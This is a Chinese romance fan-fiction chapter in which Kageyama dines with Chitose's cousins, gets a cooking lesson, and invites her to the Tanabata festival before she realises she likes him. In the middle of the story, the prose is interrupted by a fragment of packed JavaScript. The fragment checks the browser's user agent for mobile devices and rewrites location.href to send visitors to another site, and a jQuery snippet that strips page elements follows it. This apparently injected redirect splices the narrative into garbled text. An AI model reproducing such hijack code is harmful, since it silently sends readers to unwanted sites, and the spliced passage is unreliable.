千树是女孩子,洗澡洗头要比影山麻烦得多。等她吹完头发下来的时候,影山已经在沙发正襟危坐好一阵子了,余光看见她下楼,又从沙发上弹射起来。 千树穿了一件影山没有见过的家居服,但是还是一样可爱好看,头发刚刚吹干,就没有扎起来,松松地披在肩上,衬得她原本就只有巴掌大的脸又小了一圈。 “需要帮忙吗?”千树看着厨房里忙碌的两人问道。 影山心里一惊,立刻应声:“我也来帮忙!” 因为他走得太着急,衣角勾到了茶几上铺着的桌布,原本稳稳当当摆在茶几上的玻璃杯眼看就要掉到地上,影山连忙伸手把那杯子捞起来。 还好刚才千树的表姐给他倒水时,他因为太紧张,一口气把水都喝干了。 远处目睹了全程的李莓玲一愣:“不愧是打排球的啊……” 李小狼已经把最后一道菜端上餐桌,也就不需要影山和千树帮忙。影山也知道自己平素做事有些没头脑,一顿饭吃得如坐针毡,生怕自己做了什么事惹了千树的表哥表姐不高兴。 “来尝尝这个,这可是我的拿手菜。”李莓玲热情地给影山夹菜。 影山还记得千树说这个表姐很喜欢人夸她,于是吃了以后十分肯定地说:“很好吃。” 说完影山还嫌不够,日向平日里最会夸人,他都是怎么夸的来着? 日向:“你这个球好厉害哦!” 影山:“你这道菜烧得好厉害哦!” 日向:“啪的一下就飞过去了。” 影山:“唰的一下就吃下去了。” 日向:“是怎么打的?教教我,教教我!” 影山:“是、是怎么烧的?教、教教我。” 影山学不来日向那样浑然天成的语气和神态,只好用格外严肃的表情和目光证明自己是认真地在夸人,没有开玩笑。他几句话说得振聋发聩义正辞严,神态真诚得仿佛在做情感类访谈。 李莓玲:“真……这么好吃?” 影山坚定地点点头。 这样千树的表姐一定会喜欢他吧?影山在心里默默地想。 45.邀请 虽然影山君吃饭的时候那番奇奇怪怪的夸奖令整个餐桌沉默了一秒,但是很恰好的是,表姐就是吃这一套的人。 听说小学的时候,得到了夸夸的表姐直接暴起和表哥一起干掉了一对酷爱打人的暴力双胞胎。 也不知道送到警察局没有。 结果两人还真的当场结成了师徒,吃完饭表姐就给影山君围上了蓝色的小狗围裙,一脸严肃地开始和影山君传授秘笈。 窗外的雨小了些,表哥本来想让影山早些回家,被表姐一肘子制止了。 “切东西的时候手小心点,千万别切到手了。”我看了眼拎着菜刀的影山君,不放心地提醒道。 影山君没有答话,熟练地把手上的菜切成大小均匀的块,我眨了眨眼,后知后觉地想起来影山君说过,他在家都是自己做饭。他对吃的东西不挑剔,所以晚饭大多对付一口,能吃饱、能满足基本的营养需求就行,所以烹饪苦手,但是切菜应该没有什么问题。 “影山君喜欢吃什么?”表姐盯着锅里的油,顺口问道。 我一边切着手上的姜丝,一边下意识回道:“加温泉蛋的猪肉咖喱饭。” 话音刚落我才意识到有哪里不太对,一回头影山君和表姐都在望着我,我慌忙解释:“球队里每个人的喜好我都清楚……” “哦——”表姐意味深长地应了一声,转头又问,“那千树喜欢吃什么?” 虽然主语是我,但是询问的对象很明显不是我。影山君把案板上的菜放进碗里:“喜欢吃那种很酸很酸的糖。” 像是引发了什么不好的回忆,影山君打了个激灵,严肃而又认真地重复:“真的很酸很酸。” 莓玲姐没忍住笑出了声,我红着脸反驳:“上次影山君明明说喜欢!” “喜欢,”影山君回答得一本正经,“但确实很酸。” 我无话可说,只好愤恨地往锅里加了更多姜丝。 “但是千树平时喜欢吃什么菜呢,我真的不知道。”影山君向表姐询问。 表姐神秘一笑:“我把千树爱吃的菜都教给你!” 影山君双眼发亮:“谢谢莓玲姐!” 能看出来影山君虽然平日里吃饭能保证自己饿不死,但确实家里不怎么开火。炒一盘简简单单的番茄炒蛋,鸡蛋下锅时被吓得往后跳了两米远,番茄下锅的时候跳了三米,惊魂未定地盯着锅里翻腾的菜,要不是莓玲姐眼疾手快,那盘菜就要糊在锅里。 等到我红糖姜茶熬好的时候,影山·黑巧版·番茄炒蛋也已经出了锅,黑黢黢的,若不是看见菜完好地下锅,我都认不出来是什么菜。 影山君看着那盘“番茄炒蛋”,还是用表姐事先准备好的便当盒给装了起来。我拦住他:“都这样了还吃?” 影山盯着碗里的东西沉默了一会儿:“也不是不能吃……” 表姐一贯是事事求先、要强求胜的人,这盘菜一瞬间激起了她的斗志:“不行,今天晚上我一定要教你炒出一盘合格的番茄炒蛋!” “好了!”表哥忍无可忍地发话,“时间不早了,让影山同学早点回家吧!” 莓玲表姐可惜地收了手,还不忘提醒影山:“有机会再来,没有教不会的学生,只有不会教的老师!” 影山君头点得格外用力。 我无语地给影山君装了一碗红糖姜茶:“淋雨了,喝点姜茶祛祛寒再走。” 影山君猛地灌了一大口,被生姜辣的差点没喷出来,但有我盯着,又不敢,只好含泪咽下了那口生姜红茶,又悄悄拿起刚才没喝完的水杯,灌了自己一口凉开水。 我笑眯眯地问:“怎么样,不酸吧?” “不……不酸……” 我把姜茶给表哥表姐也一人装了一碗,表哥看了一眼窗外,还不忘操心道:“趁着现在雨小,抓紧时间走,不然一会儿下大了,又该淋湿了。” “知道啦。”我从橱柜里把伞拿出来。 “怎么拿两把?” “我送送他。” 表哥在我身后似乎又小声嘟囔了一句什么,我没听清。 大概是也觉得姜茶太辣了吧。 门外泼天的雨幕已经转化成了细密的雨丝,轻轻柔柔地给夜幕笼罩上一层朦胧的纱。我撑着伞和影山君走在夜色里,四周都寂寥无声。 “咦?”我看了一眼布告栏,“白天的时候雨太大了没注意,这个海报是什么时候贴的?” 布告栏上新张贴了一张海报,提醒大家记得参加八月初的七夕祭,温软的橘黄色路灯打在那张深蓝色的海报上,衬得上面缤纷的花火愈发灿烂了。 “一直听说仙台的七夕祭很有名。”我感慨道。 国中的时候,没有和我一起去七夕祭的朋友,表哥都和小樱姐在一起,我也不好意思让人家小情侣带上我,所以来了两三年了,也还没有去看过仙台的七夕祭。 想去看看。 如果能和喜欢的人一起就好了。 明明“喜欢的人”四个字不应该有对应的对象,我的眼神却控制不住地往影山君身上飘去。他看着那张海报附和着我点了点头:“确实应该去看看。” 我低头用鞋尖敲了敲地面,之前及川学长说影山君有在追求的女孩,那他应该会邀请他喜欢的女生去参加七夕祭吧? 不知道会是谁。 要不问问? 好奇心作祟,我还是张了嘴,只是比我更快的,影山君神色紧张而郑重地叫了我一声:“千树——” ------ 上次合宿的时候影山就想邀请千树去七夕祭了,但是被讨厌的月岛给打断了。看见千树对七夕祭好奇的时候,影山倒是想给她描述一下,七夕祭到底是什么样子。 但是很遗憾,影山刚张嘴,就发现自己也浑然不知。 他压根儿没去过。 去过的人是美羽,她和前男友去七夕祭的合影在她桌上摆了一年,直到分手才被美羽丢进垃圾桶。 美羽之前去七夕祭的时候,会把自己打扮得漂漂亮亮的,穿上精致的浴衣,将头发仔细地盘起来,还会在脸上涂涂画画,最后看起来明明和平时别无二致,但影山确实觉得她比平日里更漂亮了。 不过在美羽去参加七夕祭的日子里,影山一向在家里百无聊赖地打排球,他对七夕祭唯一的印象就是美羽每年都会带回来一条金鱼,只是他们不擅养殖,那金鱼每次到他们家里没几日便奄奄一息。 但是之前日向说,要在有纪念意义、浪漫的时间和地点与女生表白,七夕祭应该就是一个不错的时间点吧? 影山心跳悄悄快了起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233659|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “千树,”他的嗓子有些干涩,以至于他都觉得自己的声音有些沙哑,“你想去七夕祭吗?” 千树撑着伞,表情似乎有些不解。 “千树,要和我一起去七夕祭吗?” 说出来了。 像是心头的大石终于落地,影山顿时觉得浑身都轻松了许多,只是在碰上千树有些怔愣的眼神时,才后知后觉地开始后悔。 是不是不该这么直接问出来的?如果千树拒绝了怎么办? 他屏息凝神等待着千树的回答,似乎比等待比赛结果还要焦心。 好在千树的嘴角弯了弯,眼睛像躲在云层里的月牙,一瞬间拨开云层绽放出光彩:“好。” ------ 影山君没有让我送很远,也不过是到我们平日里分开的交叉口,他便催我回去。 “小心淋雨感冒。”他学我的样子老气横秋地提醒我。 “我喝了姜茶,才不会感冒呢。”我笑道。 “千树是笨蛋吗?”影山君问。 话一出,我们都轻轻笑了起来。 到底还是站在雨里,我们没有再纠结,而是挥手告别了。我哼着歌回到家里,把还滴着水的雨伞收起来,莓玲姐姐探出头来:“什么事情这么开心?” “算是好事吧?”我想了想,不确定地道。 表姐挑了挑眉,用下巴指了指我手边的信封:“姑姑姑父寄给你的,前面忘了和你说了,记得拿上。” “我爸妈寄来的?有什么事不能直接发消息,还写信?”我疑惑地拿起那个信封,比平素见到的信封大一些,还蛮有分量的。 表姐和表哥都摇头表明他们也不太清楚。 我拿着信封上了楼,在床上滚了一圈,掏出手机开始回消息。戈薇的账号黑着,大概在医院没看手机;千代挂着哭脸说自己在表白时没好意思说自己喜欢野崎君,说成了她是野崎君的粉丝,结果野崎君居然真的给她签了个名。 重点是野崎君居然就是梦野老师! 好小众的文字。 我盯着那几条消息看了又看,确认自己没有看错,才缓缓打了一个问号。 她现在甚至还在野崎家帮忙干苦力,据说野崎君很早就看上了她出色的绘画天赋,现在她在帮忙做涂黑的工作。 仁花安慰千代让她不要在意,问她要不要一起去七夕祭,千代却说她要陪野崎君去收集素材,七夕祭是恋爱剧情中的浪漫高发点。 我看着那几个字突然有点脸红,仁花又在群里发了消息,问我有没有时间一起去七夕祭。 虽然对不起仁花,但我还是老老实实地和仁花道:“我有约了。” 群内再次炸开锅。 我扛不住千代的狂轰滥炸,把手机静音藏到了枕头底下,自己也把脸埋了上去。 男生邀请女生去七夕祭,总归不会有别的意思,那及川学长上次说影山有在追求的女生,难道是我吗? 完全没有被追自觉的我回想了一下近期影山君的种种异常,觉得这种事应该还是应该怪影山太不明显了。 那我呢?我喜欢影山君吗? 心跳在想到今天下午的雨伞时就骤然快了起来,它仿佛在用自己的速度宣告一个事实。 “咚咚。” 喜欢。